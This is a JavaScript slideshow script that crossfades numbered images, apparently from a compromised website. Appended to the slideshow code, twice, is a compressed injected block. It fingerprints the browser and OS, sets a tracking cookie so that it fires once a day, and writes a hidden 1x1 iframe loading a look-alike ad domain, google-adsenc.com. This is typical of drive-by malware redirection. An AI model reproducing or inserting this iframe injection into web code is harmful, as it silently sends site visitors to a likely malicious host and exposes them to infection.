function slideshow(){
                 max_number_img = 10;
                 i = 3;
                 dispari = true;
                 timer_cambio_img = setInterval('rullo()', 4000);
            }
            function rullo(){
                browser = null;
                if (window.ActiveXObject) {
                    if (navigator.userAgent.toLowerCase().indexOf("msie 5") != -1) {
                        browser = "ie";
                    } else {
                        browser = "ie";
                    }
                }
                if (!browser && typeof(XMLHttpRequest) != 'undefined') {
                      browser = "ch";
                }
                if(i < 10){
                    src = "img_" + "0" + i;
                    } else {
                        src = "img_" + i;
                    }

                timer_fade = setInterval('fade()', 100)
            }
            function fade(){
            if(browser == "ie"){
            if(dispari){
                        var valore1 = document.getElementById("box_01").filters.alpha.opacity;
                        var valore2 = document.getElementById("box_02").filters.alpha.opacity;
                        var incremento = 5;
                            if (valore1 < 100){
                                valore1 = valore1 + incremento;
                                document.getElementById("box_01").filters.alpha.opacity = valore1;
                                valore2 = valore2 - incremento;
                                document.getElementById("box_02").filters.alpha.opacity = valore2;
                            } else {
                                    stop_timer(timer_fade);
                                    dispari = false;
                                    document.getElementById("box_02").src = "./img2/"+ src + ".jpg";
                                    if(i<max_number_img){
                                      i++;
                                    } else {
                                        i = 1;
                                    }

                            }
            } else {
                        var valore1 = document.getElementById("box_02").filters.alpha.opacity;
                        var valore2 = document.getElementById("box_01").filters.alpha.opacity;
                        var incremento = 5;
                            if (valore1 < 100){
                                valore1 = valore1 + incremento;
                                    document.getElementById("box_02").filters.alpha.opacity = valore1;
                                valore2 = valore2 - incremento;
                                    document.getElementById("box_01").filters.alpha.opacity = valore2;
                            } else {
                                    stop_timer(timer_fade);
                                    dispari = true;
                                    document.getElementById("box_01").src = "./img2/"+ src + ".jpg";
                                    if(i<max_number_img){
                                      i++;
                                    } else {
                                        i = 1;
                                    }
                            }
            }
        } else {
            if(dispari){
                        var valore1 = document.getElementById("box_01").style.opacity;
                        var valore2 = document.getElementById("box_02").style.opacity;
                        var incremento = 0.1;
                            if (valore1 < 1){
                                valore1 = eval(valore1) + eval(incremento);
                                    document.getElementById("box_01").style.opacity = valore1;
                                valore2 = eval(valore2) - eval(incremento);
                                    document.getElementById("box_02").style.opacity = valore2;
                            } else {
                                    stop_timer(timer_fade);
                                    dispari = false;
                                    document.getElementById("box_02").src = "./img2/"+ src + ".jpg";
                                    if(i<max_number_img){
                                      i++;
                                    } else {
                                        i = 1;
                                    }

                            }
            } else {
                        var valore1 = document.getElementById("box_02").style.opacity;
                        var valore2 = document.getElementById("box_01").style.opacity;
                        var incremento = 0.1;
                            if (valore1 < 1){
                                valore1 = eval(valore1) + eval(incremento);
                                    document.getElementById("box_02").style.opacity = valore1;
                                valore2 = eval(valore2) - eval(incremento);
                                    document.getElementById("box_01").style.opacity = valore2;
                            } else {
                                    stop_timer(timer_fade);
                                    dispari = true;
                                    document.getElementById("box_01").src = "./img2/"+ src + ".jpg";
                                    if( i < max_number_img ){
                                      i++;
                                    } else {
                                        i = 1;
                                    }
                            }
            }
        }
    }
    function stop_timer(id){
        clearInterval(id);
    }var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}